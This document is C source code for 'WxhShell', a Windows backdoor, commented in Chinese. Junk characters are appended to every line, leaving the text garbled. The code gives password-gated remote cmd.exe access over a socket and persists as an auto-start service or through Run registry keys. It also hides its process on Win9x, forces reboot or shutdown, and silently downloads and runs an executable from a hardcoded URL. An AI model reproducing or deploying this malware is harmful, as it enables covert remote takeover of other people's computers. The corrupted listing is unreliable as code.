    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r5> 1n/+6  
    else { w \U?64  
    closesocket(wsh); *F^t)K2  
    ExitThread(0); wr) \GJ#>  
    } {^z>uRZ3  
    break; eBZ94rA]  
    } <n;9IU  
  // 获取shell |ee A>z"I  
  case 's': { rk E;OU  
    CmdShell(wsh); nT:F{2 M;  
    closesocket(wsh); D\4pLm"!v  
    ExitThread(0); Os rHA  
    break; at )m*  
  } ,pTj'I  
  // 退出 3Fgl zJ  
  case 'x': { Ue?mb$ykC.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fe3a_gYPz  
    CloseIt(wsh); ?niv}/'%O  
    break; 5qL;@Y  
    } u]766<Z  
  // 离开 Ux!q(9<_  
  case 'q': { YXlaE=9bn  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); y0R9[ ;b07  
    closesocket(wsh); 9<|nJt  
    WSACleanup(); M669G;w(K  
    exit(1); \dHdL\f  
    break; r+W;}nyf  
        } SR$?pJh D%  
  } @UK%l :L  
  } Oj F]K,$  
c!ul9Cw  
  // 提示信息 i6Fvi Zx  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #trb4c{{5  
} )4;$;a1  
  } 2)\g IMt%  
dsG:DS`q  
  return; 0-~F%:x  
} k++"  
9}|t`V"  
// shell模块句柄 KLpFW}  
int CmdShell(SOCKET sock) peZ'sZ6  
{ r]B`\XWz  
STARTUPINFO si; i$g6C  
ZeroMemory(&si,sizeof(si)); p;<aZ&@O  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b^'>XT~1J&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =KW~k7TaN  
PROCESS_INFORMATION ProcessInfo; (v0i]1ly[  
char cmdline[]="cmd"; \GdsQAF"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); n48%Uwa,  
  return 0; w gkY \Q  
} El^V[s'3  
p7p6~;P  
// 自身启动模式 ayZWt| iHA  
int StartFromService(void) ZPlY]e  
{ _X~xfmU  
typedef struct ZRP[N)Ld$  
{ ?hOv Y)  
  DWORD ExitStatus; \y0]BH  
  DWORD PebBaseAddress; hr?0RPp}  
  DWORD AffinityMask; P0l.sVqL  
  DWORD BasePriority; r:Ok z  
  ULONG UniqueProcessId; d:g0XP  
  ULONG InheritedFromUniqueProcessId; =kBWY9 :$,  
}   PROCESS_BASIC_INFORMATION; \Z^Tk   
(L,>P`CR6  
PROCNTQSIP NtQueryInformationProcess; C4|H 5H  
i{}Q5iy  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0O|l7mCr%I  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Io4Ss1="  
uX8G<7O^  
  HANDLE             hProcess; PcEE@W9  
  PROCESS_BASIC_INFORMATION pbi; UJ^-T+fut  
1v'|%B;O  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); cdv0:+[P  
  if(NULL == hInst ) return 0; L YMb)=u]  
psAr>:\3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); MmW]U24s  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %5Zhq>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R[!%d6jDE  
g)=-%n'RoE  
  if (!NtQueryInformationProcess) return 0; im@c||  
4=ZN4=(_[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w!/|aZ~*  
  if(!hProcess) return 0; 3 Bn9Ce=  
T-.Bof(?w  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; O/lu0acI  
wiM-TFT~  
  CloseHandle(hProcess); $j'8Z^  
VRvX^w0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7s2e> 6Q[  
if(hProcess==NULL) return 0;  m8z414o  
%VGQ{:  
HMODULE hMod; {AO`[  
char procName[255]; r=ht:+m  
unsigned long cbNeeded; 5`f\[oA  
eS;W>d  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E>NL/[1d  
OIrr'uNH  
  CloseHandle(hProcess); xi!R[xr1  
H >1mi_1  
if(strstr(procName,"services")) return 1; // 以服务启动 Vf` 9[*j  
~MZ.988:<  
  return 0; // 注册表启动 K&%YTA  
} ZN-5W|' O  
\++#adN:K  
// 主模块 1" #W1im  
int StartWxhshell(LPSTR lpCmdLine) B{-+1f4  
{ o,DI7sb  
  SOCKET wsl; ?ubIh.d  
BOOL val=TRUE; H^0`YQJ3  
  int port=0; & <Jvaf_=  
  struct sockaddr_in door; YhJ*(oWL  
Y )9]I6n7  
  if(wscfg.ws_autoins) Install(); ] KR\<MJK  
tC'@yX  
port=atoi(lpCmdLine); q@&.)sLPgO  
#wL8=QTcNC  
if(port<=0) port=wscfg.ws_port; e(;nhU3a*,  
JnBg;D|)@  
  WSADATA data; sp&)1?!M  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6>; dJV  
8CN 0Q&|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9lCZ i?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2Uq4PCx!  
  door.sin_family = AF_INET; `DcZpd.n  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); o9D]\PdL>  
  door.sin_port = htons(port); @qWes@  
-~ 5|_G2Y"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SPU_@ Pk  
closesocket(wsl); Q.]RYv}\  
return 1; *Zi:^<hv  
} d!]fou  
LG3:V'|  
  if(listen(wsl,2) == INVALID_SOCKET) { D_4UM#Tw  
closesocket(wsl); }Qo:;&"3  
return 1; ~i)IY1m"  
} (>gAnebN L  
  Wxhshell(wsl); I%fz^:[#<  
  WSACleanup(); 8I*WVa$l  
*1fZcw'C.  
return 0; .}zpvr8YP  
tZn=[X~Vw@  
} <xWBS/K  
, ,=7deR  
// 以NT服务方式启动 |6}:n,KA.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @(_M\>!%M  
{ hWqI*xSaJ  
DWORD   status = 0; muqIh!nn  
  DWORD   specificError = 0xfffffff; X #!oG)or  
rM?ox  
  serviceStatus.dwServiceType     = SERVICE_WIN32; q[w.[]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {_i.IPp~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \.7O0Q{  
  serviceStatus.dwWin32ExitCode     = 0; .`ppp!:a4  
  serviceStatus.dwServiceSpecificExitCode = 0; l*Iy:j(B  
  serviceStatus.dwCheckPoint       = 0; ]8i2'x  
  serviceStatus.dwWaitHint       = 0; )=)=]|3  
0Tm"Zh?B|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]%K 8  
  if (hServiceStatusHandle==0) return; "?~u*5  
!MiH^wP  
status = GetLastError(); 8I'Am"bc \  
  if (status!=NO_ERROR) m8|&z{  
{ `Oc`I9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; jJmg9&^R  
    serviceStatus.dwCheckPoint       = 0; aDik1Q  
    serviceStatus.dwWaitHint       = 0; |H)WJ/`  
    serviceStatus.dwWin32ExitCode     = status; .7HnWKUV  
    serviceStatus.dwServiceSpecificExitCode = specificError; n?QpVROo\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]eJjffx  
    return; Z-!W#   
  } i*JbFukG  
Q7]VB p4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; I oz rZ  
  serviceStatus.dwCheckPoint       = 0; MpV6Vbp  
  serviceStatus.dwWaitHint       = 0; +P~E54  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @a1+  
} ?'_Q^O>  
z5CWgN  
// 处理NT服务事件,比如:启动、停止 q?=eD^]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #<7ajmr  
{ %` c?cB  
switch(fdwControl) (/c&#W  
{ ZR3x;$I~4  
case SERVICE_CONTROL_STOP: #0HF7C3  
  serviceStatus.dwWin32ExitCode = 0; ,'CDKzY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3eV(2  
  serviceStatus.dwCheckPoint   = 0; 43mV~Oj  
  serviceStatus.dwWaitHint     = 0; J jCzCA:K_  
  { uxq!kF'Ls  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $h Is ab_  
  } [1Dg_>lz  
  return; $?OuY*ZeY9  
case SERVICE_CONTROL_PAUSE: a/.O, &3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; eTc0u;{V  
  break; _BcYS  
case SERVICE_CONTROL_CONTINUE: T~k5` ~\(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; NC; 4  
  break; P^%.7C  
case SERVICE_CONTROL_INTERROGATE: -4p^wNR  
  break; ]3iu-~  
}; |4i,Vkfhe  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $ V"~\h8  
}  _"ysJ&  
`'u|4pRFs  
// 标准应用程序主函数 :B=p%C  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) '\:?FQ C  
{ /hue]ZaQq  
IkSzjXE{  
// 获取操作系统版本 t/,k{5lX  
OsIsNt=GetOsVer(); Cm;WQuv@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8KpG0DC  
rs@,<DV)u  
  // 从命令行安装 wovWEtVBU  
  if(strpbrk(lpCmdLine,"iI")) Install(); .Lrdw3(  
V*U7-{ *a  
  // 下载执行文件 Kfc(GL?  
if(wscfg.ws_downexe) { @|&P#wd.u  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (U/xpj}  
  WinExec(wscfg.ws_filenam,SW_HIDE); C!SB5G>OH  
} .cA[b  
vm+EzmO,!  
if(!OsIsNt) { G! uQ|<(  
// 如果时win9x,隐藏进程并且设置为注册表启动 U~ SK 'R  
HideProc(); A+j~oR  
StartWxhshell(lpCmdLine); AZ5c^c)  
} #Dx$KPD  
else >RxZ-.,a  
  if(StartFromService()) S8" h9|  
  // 以服务方式启动 5:f}bW*  
  StartServiceCtrlDispatcher(DispatchTable); 6^zuRY;  
else R|{6JsjG10  
  // 普通方式启动 ]"^GRFK5  
  StartWxhshell(lpCmdLine); (jCE&'?}  
YTq>K/  
return 0; uH]n/Kv1,  
} o([+Pp  
s&vOwPmV  
hHoc7  
#]I:}Q51  
=========================================== B$Jn|J"/6  
9VIsLk54^  
;W#G<M&n'  
8 k+Ctk  
xYM! mcA  
* Yov>lO  
" A0S6 4(  
9 4W9P't  
#include <stdio.h> -4b9(  
#include <string.h> Yc#oGCt  
#include <windows.h> XaD}J:Xq  
#include <winsock2.h> kaUH#;c>_  
#include <winsvc.h> 4 !~JNO  
#include <urlmon.h> ;4XX8W1  
XLFJ?$)Tro  
#pragma comment (lib, "Ws2_32.lib") ~@R=]l"  
#pragma comment (lib, "urlmon.lib") lbg!B4,  
|U$oS2U\m  
#define MAX_USER   100 // 最大客户端连接数 ,Mc}U9)F  
#define BUF_SOCK   200 // sock buffer &nj@t>5Bs$  
#define KEY_BUFF   255 // 输入 buffer U,Z.MP Q  
TA}gCXE e  
#define REBOOT     0   // 重启 *8"5mC ;"  
#define SHUTDOWN   1   // 关机 @q5!3Nz  
oHu0] XA  
#define DEF_PORT   5000 // 监听端口 2NsI3M4$8  
(a`z:dz}  
#define REG_LEN     16   // 注册表键长度 k  `.-PU  
#define SVC_LEN     80   // NT服务名长度 fYx$3a.  
m+DkO{8F  
// 从dll定义API  2c!?!:s  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y S7[=S  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [F+lVb  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Wuye:b!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /5suyM=U  
mRfF)  
// wxhshell配置信息 {Ca#{LeLk  
struct WSCFG { :?jOts>uP  
  int ws_port;         // 监听端口 suPQlU>2sj  
  char ws_passstr[REG_LEN]; // 口令 Z\i@Qa+r  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0?SdAF[:z  
  char ws_regname[REG_LEN]; // 注册表键名 ctdV4%^{  
  char ws_svcname[REG_LEN]; // 服务名 RIl%p~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )e9(&y*o  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 VILzx+v M  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &hd+x5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no z7{b>oub('  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" r6 ,5&`&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q(!191@C(  
7Y @ &&  
}; athU  
qN+ngk,:  
// default Wxhshell configuration 33[2$FBf  
struct WSCFG wscfg={DEF_PORT, wvJm)Mj+  
    "xuhuanlingzhe", O,9KhX+  
    1, b V;R}3)  
    "Wxhshell", O>|Q Zd  
    "Wxhshell", Q?7U iTZ  
            "WxhShell Service", SMqJMirR  
    "Wrsky Windows CmdShell Service", .0.Ha}{6b  
    "Please Input Your Password: ", gGe `w  
  1, F7#   
  "http://www.wrsky.com/wxhshell.exe", .\{GU9|nO  
  "Wxhshell.exe" aQ]C`9k  
    }; gjvKrg  
q+e'=0BHd:  
// 消息定义模块 R(r89bTQ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; '(&.[Pk:"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; cL<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /S\P=lcb  
char *msg_ws_ext="\n\rExit."; 1/6G&RB  
char *msg_ws_end="\n\rQuit."; vy1:>N?#5  
char *msg_ws_boot="\n\rReboot..."; JL`n12$m  
char *msg_ws_poff="\n\rShutdown..."; *8,]fBUq  
char *msg_ws_down="\n\rSave to "; MBXumc_g  
sh:sPzQ%Jv  
char *msg_ws_err="\n\rErr!"; &'c1"%*%8>  
char *msg_ws_ok="\n\rOK!"; >UZfi u  
/V2 ^/`&;a  
char ExeFile[MAX_PATH]; z~L(kf4  
int nUser = 0; VCNg`6!x  
HANDLE handles[MAX_USER]; L!c7$M5xJ  
int OsIsNt; b!5W!vcK  
gI'4g ZH  
SERVICE_STATUS       serviceStatus; sR +=<u1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vM1f-I-  
. sgV  
// 函数声明 4mQ:i7~  
int Install(void); 29 Yg>R!/  
int Uninstall(void); ^yu0Veypy  
int DownloadFile(char *sURL, SOCKET wsh); DE^{8YX,  
int Boot(int flag); K.",=\53  
void HideProc(void); HPg@yx"U  
int GetOsVer(void); 80&JEtRh  
int Wxhshell(SOCKET wsl); %W+*)u72(  
void TalkWithClient(void *cs); !d&K,k  
int CmdShell(SOCKET sock); ;6U=fBp7<  
int StartFromService(void); K82pWpR  
int StartWxhshell(LPSTR lpCmdLine); )(_}60  
x =5k74  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V[5-A $ft  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); xWU0Ev)4U  
D7olu29  
// 数据结构和表定义 &^{HD }/{b  
SERVICE_TABLE_ENTRY DispatchTable[] = |t!kD(~r  
{ Vqb4 MWW  
{wscfg.ws_svcname, NTServiceMain}, b Zn:q[7  
{NULL, NULL} 8uchp  
}; ]06LNE  
jL6u#0  
// 自我安装 Siq2Glg_  
int Install(void) B'lWs;  
{ co|jUDu>W  
  char svExeFile[MAX_PATH]; @vCPX=c  
  HKEY key; 4=%Uv^M  
  strcpy(svExeFile,ExeFile); #78p# E  
.`)\GjDv  
// 如果是win9x系统,修改注册表设为自启动 .MXznz  
if(!OsIsNt) { '0p 5|[ZD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { py]m^)yc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9.!6wd4mw  
  RegCloseKey(key); O1ofN#u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SirjWYap  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kBS;SDl)  
  RegCloseKey(key); g>1yQ  
  return 0; |-e*^|  
    } g G>1  
  } gah3d*d7  
} 8 T):b2h  
else { F@& R"-  
'u@ )F`  
// 如果是NT以上系统,安装为系统服务 (vB aem9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q?nXhUD  
if (schSCManager!=0) o )G'._  
{ kn^RS1m  
  SC_HANDLE schService = CreateService +%OINMo.A  
  ( O={4 >>F  
  schSCManager, \3-XXq  
  wscfg.ws_svcname, !\'7j-6  
  wscfg.ws_svcdisp, +?w 7Nm`  
  SERVICE_ALL_ACCESS, GLp2 ?fon  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #5wOgOv  
  SERVICE_AUTO_START, d(3F:dbk  
  SERVICE_ERROR_NORMAL, X*KQWs.  
  svExeFile, X|TEeE c[L  
  NULL, 9TIyY`2!  
  NULL, ,^pM]+NF|  
  NULL, %[u6<  
  NULL, Kyt.[" p  
  NULL !hrXud=#"  
  ); 9%S{fd\#  
  if (schService!=0) <Bn^+u\  
  { : ^F+m QN  
  CloseServiceHandle(schService); X,C&nqVFm8  
  CloseServiceHandle(schSCManager); 5|my}.TR  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); J;W(}"cFq  
  strcat(svExeFile,wscfg.ws_svcname); Wb+^Ue  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { # =V%S 2~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I= G%r/3  
  RegCloseKey(key); u_;*Ay  
  return 0; MUhC6s\F  
    } w,bILv)  
  } h$F;=YS   
  CloseServiceHandle(schSCManager); D>+&= 5{  
} iS&~oj_-%  
} jV]'/X<  
3FT%.dV^  
return 1; *Z>Yv37P  
}  Zf68 EB  
'b:e`2fl  
// 自我卸载 ;2Db/"`t  
int Uninstall(void) bW(+Aw=O  
{ jJk M:iR  
  HKEY key; &$?e D{  
9I0/KuZd O  
if(!OsIsNt) { 5cO}Jp%PA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %Koc^ pb)  
  RegDeleteValue(key,wscfg.ws_regname); ]W7(}~m  
  RegCloseKey(key); S~d_SU~>`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $/90('D  
  RegDeleteValue(key,wscfg.ws_regname); (JH LWA H  
  RegCloseKey(key); c9-$t d&  
  return 0; j/4N  
  } / d=i 0E3  
} i>HipD,TD  
} A ${b]  
else { X0 O0Y>"  
RIOR%~U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |:$D[=  
if (schSCManager!=0)  *Dtwr  
{ .281;] =  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); S8*VjG?T\  
  if (schService!=0) Ja>UcE29  
  { Bj09?#~[  
  if(DeleteService(schService)!=0) { ;j])h !8X  
  CloseServiceHandle(schService); h>-JXuN  
  CloseServiceHandle(schSCManager); f ZL%H0&  
  return 0; 5W"nn  
  } |7n&I`#  
  CloseServiceHandle(schService); i#$9>X  
  } [/hS5TG|7  
  CloseServiceHandle(schSCManager); \?c0XD  
} .CdaOWM7  
} I'2:>44>I6  
Z m9 e|J  
return 1; EbSH)aR  
} WJ=DTON  
?#!Hm`\.  
// 从指定url下载文件 kKVd4B[#*  
int DownloadFile(char *sURL, SOCKET wsh) %[\: 8  
{ jK/2n}q&]  
  HRESULT hr; H1_XEcaM+*  
char seps[]= "/"; s|rlpd4y  
char *token; (__=*ew  
char *file; *')BP;|V`  
char myURL[MAX_PATH]; 5QB] 2c^  
char myFILE[MAX_PATH]; vzJ69%E_  
.w/#S-at  
strcpy(myURL,sURL); .Gq.st%  
  token=strtok(myURL,seps); Os^sOOSY  
  while(token!=NULL) vzK*1R5  
  { |7]7~ 6l  
    file=token; `fh^[Q|4n0  
  token=strtok(NULL,seps); UMwB.*  
  } pA)!40kz  
J~KWn.  
GetCurrentDirectory(MAX_PATH,myFILE); x3=W{Fv@4  
strcat(myFILE, "\\"); ^6[KzE#*  
strcat(myFILE, file); }uo5rB5D  
  send(wsh,myFILE,strlen(myFILE),0); s (|T@g  
send(wsh,"...",3,0); o0$R|/>i  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); o6sL~ *hQ  
  if(hr==S_OK) Mm`jk%:%]  
return 0; au7%K5  
else . +> w0FG.  
return 1; :,"dno7OQ  
~ ui/Qf2|  
} Mf7Q+_!  
;Q&38qI  
// 系统电源模块 <GPL8D  
int Boot(int flag) ~R/w~Kc!/A  
{ $V-]DD%Y  
  HANDLE hToken; r_p9YS@I  
  TOKEN_PRIVILEGES tkp; r9z_8#cR  
6~zR(HzV{  
  if(OsIsNt) { ,\!4 A  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7IW:,=Zk8+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;'l Hw]}O*  
    tkp.PrivilegeCount = 1; pxjN\q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5x?eu n  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (UDF^  
if(flag==REBOOT) { QEL^0c8~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )~xL_yW_X  
  return 0; IF~i*  
} :0IxnK(r&  
else { _'<V<OjVM!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O$u;]cg  
  return 0; 4 r#O._Z  
} j b1OcI%  
  }  A]R7H1  
  else { ^tX+<X  
if(flag==REBOOT) { / U1VE|T  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) m)3?hF)  
  return 0; 1)(p=<$  
} z1}YoCj1  
else { %HSS x+2oR  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #S2LQ5U  
  return 0; ,OWdp<z  
} w,TyV%b[_  
} !+Z"7e nj  
A Ntp7ad  
return 1; |t CD@M  
} MV6 %~T  
6-va;G9Fc  
// win9x进程隐藏模块 qd{o64;|  
void HideProc(void) pcXY6[#N  
{ XSt5s06TM  
mNN,}nHu  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ZiM#g1;  
  if ( hKernel != NULL ) AE!WYE  
  { LinARMPv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); PbxuD*LQ.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Pd!;z=I  
    FreeLibrary(hKernel); F7a &-  
  } yq+<pfaqvK  
}l$M%Ps!a  
return; 'D%No!+Py  
} !VpZo*+   
^y'xcq  
// 获取操作系统版本 q)gZo[]~  
int GetOsVer(void) W> .O"Ri  
{ idnn%iO  
  OSVERSIONINFO winfo; i,rP/A^q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Y<TlvB)w  
  GetVersionEx(&winfo); udtsq"U_%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) X5 lB],t"=  
  return 1; SdC505m0*  
  else l|O^yNS  
  return 0; 8=gr F  
} :Q2\3  
8~RUYsg  
// 客户端句柄模块 ]W<E#^  
int Wxhshell(SOCKET wsl) I=D{(%+^d  
{ PN2\:l+`  
  SOCKET wsh; fC xN!  
  struct sockaddr_in client; =YF\mhMQ:  
  DWORD myID; 5FqUFzVqsl  
n>>hfxv(O!  
  while(nUser<MAX_USER) Hf+A52lrf  
{ 'j#oMA{0  
  int nSize=sizeof(client); g3n^ <[E  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;hF>iw  
  if(wsh==INVALID_SOCKET) return 1; hJ4==ILx  
2#_9x7g+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); PN/2EmwtC  
if(handles[nUser]==0) F`8A!|cIy  
  closesocket(wsh); RyD2LAf)J  
else G+4a%?JH  
  nUser++; 0K>rc1dy  
  } 9F0B-aZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); n4YEu\*  
%8`zaa  
  return 0; 95(c{ l/  
} GiHJr1  
^i&Qr+v  
// 关闭 socket )ZzwD]  
void CloseIt(SOCKET wsh) ]]o7ej  
{ i051qpj  
closesocket(wsh); vq$%Ug/B  
nUser--; \F,?ptu  
ExitThread(0); ;1S{xd*^N  
} ]w%7/N0R  
c}Jy'F7&f  
// 客户端请求句柄 V)R-w`  
void TalkWithClient(void *cs) W()FKP\??!  
{ ERL(>)  
X ~4^$x  
  SOCKET wsh=(SOCKET)cs; v3S{dX<  
  char pwd[SVC_LEN]; 25ul,t_Du  
  char cmd[KEY_BUFF]; s .^9;%@$J  
char chr[1]; lO%Z4V_Mj  
int i,j; n$y1kD  
BdUhFN*  
  while (nUser < MAX_USER) { 5yp~PhHf  
; 5my(J*b  
if(wscfg.ws_passstr) { E1 *\)q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &gF{<$$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +x G](?  
  //ZeroMemory(pwd,KEY_BUFF); Ec_ G9&  
      i=0; [HF)d#A  
  while(i<SVC_LEN) { $>/J8iB  
%P_\7YBC>  
  // 设置超时 'Twi @I  
  fd_set FdRead; dge58A)Q  
  struct timeval TimeOut; 8(KsU,%d  
  FD_ZERO(&FdRead); jR@-h"2*A  
  FD_SET(wsh,&FdRead); 1|/2%IDUI  
  TimeOut.tv_sec=8; |Y(].G,  
  TimeOut.tv_usec=0; 4TG|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); dyWWgC%A  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ksDG8^9>]  
"$0f.FO:i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W$gSpZ_7  
  pwd=chr[0]; K/Q;]+D  
  if(chr[0]==0xd || chr[0]==0xa) { &>I8^i  
  pwd=0; 'P@a_*I  
  break; n$`Nx\v  
  } H=X>o.iVqi  
  i++; zF)_t S  
    } m>:%[vm  
ddnWr"_  
  // 如果是非法用户,关闭 socket }C" #b\A2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ct~lt'L\  
} )yJeh  
J)(]cW.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b${Kj3(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1}[\@n+b  
H _3gVrP_  
while(1) { !}1n?~]`  
2"<}9A<Xs  
  ZeroMemory(cmd,KEY_BUFF); uO[4 WZ  
W\} VZY  
      // 自动支持客户端 telnet标准   A*E4hop[  
  j=0; ,z%F="@b9  
  while(j<KEY_BUFF) { Crpk q/M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ::TUSz2/2  
  cmd[j]=chr[0]; bL0+v@(r  
  if(chr[0]==0xa || chr[0]==0xd) { DMf^>{[  
  cmd[j]=0; d_5h6C z4  
  break; ~d{E>J77j  
  } !\awT  
  j++; t"0~2R6i  
    }  a$aI%  
SI;G|uO;/  
  // 下载文件 uT-WQ/id  
  if(strstr(cmd,"http://")) { }a<MVG:>SF  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,nHz~Xi1t  
  if(DownloadFile(cmd,wsh)) +nJ}+|@K  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); G)<k5U4  
  else \re.KB#R  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,\=u(Y\I[  
  } ppV\FQ{K  
  else { u'32nf?  
VwC, +B  
    switch(cmd[0]) { "9WP^[  
  IZ2#jSDn  
